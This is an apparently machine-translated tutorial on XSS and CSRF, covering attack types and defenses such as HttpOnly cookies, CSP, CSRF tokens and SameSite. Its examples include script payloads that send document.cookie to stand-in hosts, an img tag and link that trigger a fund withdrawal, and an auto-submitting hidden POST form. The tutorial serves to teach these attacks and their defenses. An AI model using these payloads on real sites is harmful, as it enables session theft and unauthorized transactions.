XSS cross-site scripting vulnerability
XSS attack mechanism
- User login generates cookies;
- Let the attacked website run malicious JavaScript code to obtain and redirect to the hacker’s website;
// The front end gets cookies
console.log(document.cookie)
// Get localStorage and sessionStorage
console.log(window.localstorage/sessionstorage.getItem("key"))
// Page parameters stealing information
window.open("www.xxx.com?param="+document.cookie)
Copy the code
XSS classification (different ways to get browsers to execute code)
Reflective XSS [malicious code that parses the URL back to the browser for execution]
- Hackers construct urls that contain malicious code and send them to others
- When a user opens a URL with malicious code, [the website server takes the malicious code out of the URL, splices it into HTML and returns it to the browser]
- After the user’s browser receives the response, it parses and executes, and the malicious code mixed in it is also executed, and the user’s cookie is stolen
Example: — use [JS cookie reading method] + [cross-document parameter passing method]
This is a URL with malicious code:
http://www.a.com?content=<script>window.open("www.b.com?param="+document.cookie)</script>
The malicious code is the value of the content parameter, which is a
The user wants to visit http://www.a.com, and the user has logged in to website A, then the browser will automatically open website B and send the user’s cookie on website A to website B, and the user’s information will be stolen in this way
Storage XSS
- Hackers write blogs or comments that contain malicious code
- The malicious code is stored in the server database
- When users visit the blog or leave comments, the page rendering will execute the malicious code and steal information
This is a wide-reaching and far-reaching attack, so it needs to be addressed early
DOM TYPE XSS [front-end JS directly execute malicious code]
DOM XSS is a special type of reflective XSS that bypassed the server and attacked directly in the browser
Using the innerHTML
Principle: the use of front-end JavaScript operations on DOM
If instead of a
Running malicious code:
Using the location. The hash
Normal access is to use # to realize the page jump, and the parameter after # is controllable, hackers can write [javascript: malicious code] after #. As soon as a user accesses a URL that carries malicious code, the front-end JavaScript executes the malicious code directlyCopy the code
To prevent XSS
1. Prevent malicious code implantation
Precautions on the Server
- For reflexive XSS attacks, it is obvious that
The server takes the malicious code out of the URL, splices it together in HTML and returns it to the browser
This step is taken advantage of, so we should do some processing in this step, using some algorithm to identify or filter the parameters after the URL - For stored XSS attacks, we can set
Review mechanism
To identify or filter malicious code for all articles or comments uploaded by all users
Front end Precautions
- For stored XSS attacks, we can also work with user input, such as gold digging, if we type it directly in the article
<script>
,<img>
Is such asIt doesn’t showYou must < add ‘character > or < put in code block > to display - For reflection type XSS attack and DOM type XSS attack, we also deal with the content input by the user. For example, we input content in an input box and click submit. The front-end JS listens to submit event and then performs the processing on the content input by the userFor identificationIf there is
<script>
,<img>
Such as,Forms will not be submitted 或 Manipulating DOM nodes
Concrete implementation:
- for
Input string
: For substrings<script>
,<img>
And so on. Pay attentioncase
Filter it out as well - for
Upload code
: used as a block of code that needs to be converted to a string and then used during rendering<p>
or<span>
Such as non-semantic tags to render - for
To upload pictures
: Using picture transfer, users upload pictures not directly with the source address of the picture, but first transfer to the server to give the picture address - For all
HTML tags
Replace innerHTML with innerText, soHTML tags will not be executed
oBox.innerText = oBox.innerHTML + oSpan.innerHTML + oText.value +<br/>
;
2. Make use of the cookie itself
Use the HttpOnly attribute of cookies
- The browser disallows the page’s Javascript from accessing cookies with an HttpOnly attribute
- If this property is set to true, the cookie is only carried in the HTTP request header, but the cookie cannot be accessed through document.cookie, so it is effectively prevented
XSS attacks
It is worth noting: Not all items in the cookie are HTTPOnly true, and the document.cookie is used to retrieve all items with HTTPOnly false, so we can set the HTTPOnly of important items such as session_id to true. Some non-important items such as user nicknames are set to false, so that we can ensure the front-end operation of cookies (to remember the account function), and to prevent XSS attacks.
Or the front end does not operate on cookies and the back end operates on cookies
Cookies are detailed in the Browser series – Local storage
3. Use CSP (set load content whitelist to prevent external resources from loading)
- The essence is [whitelist system]
- The developer explicitly tells the client through configuration
- What external resources can be loaded and executed
For example:
<meta http-equiv="Content-Security-Policy" content="">Content ="default-src 'self'" must be in your own domain name (excluding its subdomain name) content="default-src 'self' *. Trusted.com "is from a trusted domain name and its subdomain name Content ="img-src *" Images allow all domain namesCopy the code
CSRF forges the identity request
A simple overview
Request forged identity with cookies
conditions
A CSRF attack requires two conditions:
- The client must have a website and generate cookie credentials to store in the browser
- The cookie is not cleared, and the client TAB a page to visit another website
CSRF attack mechanism
Take the website with cookie+session login as an example:
- User C opens A browser, accesses trusted website A, and enters the user name and password to request the login
Generate Cookie information
And returns it to the browser - User C opens another Tab page, web site B, in the same browser. At this point, Site B makes A request to Site A’s server in some way (described below) : a.com/act=xxx
- The browser
Look at the requested domain name
And thenautomaticallyCarry cookies of the corresponding website
At this time, user C is in the login state, and the cookie will be sent with the request
All requests under the same domain name automatically carry cookiesCopy the code
- The server at site A receives the request and identifies the cookie in the HTTP request header
session_id
Fields,It assumes that the request is initiated by user C
.With C's permission
Processing the request results in user C’s corresponding in the databasesession
To be altered (e.g. to be deleted or transferred)
For details, see browser series — Cookie, Session, Token, JWT and the corresponding login state mechanism
CSRF attack mode
Hacker site B mimics site A’s request to the server
If the transfer operation of site A is A GET request:
1. Automatic GET request
The transfer of game website A is operated by GET mode, as follows:
"http://test.com/csrf/withdraw.php?amount=10000&for=hacker"
Copy the code
At this time, it is simply too simple for website B to imitate this request. It is ok to create A picture whose address is the above address. Since the tag has its own cross-domain function, it can be realized that website B sends A request to the server of website A. So this request was successfully requested on site A’s server, and user C’s property was stolen
1. The use of<img>Tags come with cross-domain functions, hackers post pictures with other domains<img src="http://test.com/csrf/withdraw.php?amount=10000&for=hacker" />2. When the user accesses website B, the request will be automatically initiated and the cookie generated when the user logs in to the browser will be attackedCopy the code
If the transfer is a GET request, there is another way to attack:
2. Induced click to send GET request [user access link]return
Web site A 】
1.On a hacker's website, a link may be placed that drives you to click <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker"
taget="_blank"Word-wrap: break-word! Important; "> </a>2.After the user clicks, web site B automatically sends A message to web site A`get`Requests and carries cookies that the user generates when logging in to the browserCopy the code
If the transfer operation on site A is POST request:
3. Automatic POST request [user access form]
Later, the head of the game website realized that there was a vulnerability that was attacked and changed the transfer operation from link GET to submit data to form POST
// Submit the data form<form action="http://test.com/csrf/withdraw.php" method="POST">
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
Copy the code
session_start();
if (isset($_POST['account'] &&isset($_POST['vMoney'])) // Verify the operation
{
// The corresponding transfer operation
}
? >
Copy the code
At this time, the hacker forged an identical transfer form according to the game virtual currency transfer form, wrote it into website B, and set the [automatic submission] function
1.Hack posts come with a <form> component <form Action = that can be submitted automatically, taking advantage of the auto-submission feature of the <form> tag"http://bank.example/withdraw" method="POST">
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script>
document.forms[0].submit(); // Automatic submission
</script>
2.When the user accesses the post, the request will be automatically initiated and the cookie generated when the user logs in to the browser will be attackedCopy the code
CSRF protection
1. Coercive interaction means
The site forces the user to interact when it receives a request. For example: mobile phone verification code, fingerprint verification, face verification
- Applies to heavy attack defense involving property
But for the sake of user experience, sites can’t add captcha codes to all operations. Therefore, captchas can only be used as an auxiliary means, not as the main solution
2. Determine the source of the request
According to the field in the HTTP request header
- using
Origin
Field to seeSource domain name - using
Referer
Field to seeSource URL
The server can use this field to see the source of the request and block requests whose Referrer header is not from your page.
For status codes, see computer Networking series – Status codes
HTTP request headers are related to the computer Networking series – HTTP
3. Add token authentication in the form [currently the most common way]
- Since the token is stored on your own website A, it is impossible to use it without stealing it in advance (so do XSS attack defense in this way).
- Therefore, if the user submits the form automatically on the hacker’s website B, that is, the user initiates A POST transfer request to website A
- In this case, the cookie will be carried, but the form will be processed by website A
intercept
And then in this formExtract the token
If the token cannot be extracted or is invalid, then the request is most likely to beCSRF attacks
, so do not pass this request, return the status code403
More details about tokens can be found in the browser series — Cookie, Session, Token, JWT, and the corresponding logon state mechanism
4. Leverage the SameSite property of the Cookie
Strict [most Strict]
Strict, completely'Prohibit third-party cookies', across sites,'Under any circumstances'They don't send cookies. In other words, only the URL of the current page and the target of the requestConsistent ` `, will bring the CookieCopy the code
Lax [slightly relaxed] [default]
Most cases also do not send third-party cookies, but navigate to'Target URL Get request'With the exception ofCopy the code
A GET request to navigate to a target url consists of only three cases: a link, a preload request, and a GET form
None [fully on]
Both same-site and cross-site requests carry cookies, which means they are vulnerable to attackCopy the code
More on the Cookie field related browser series – local storage
Refer to the article
CSRF attack and Defense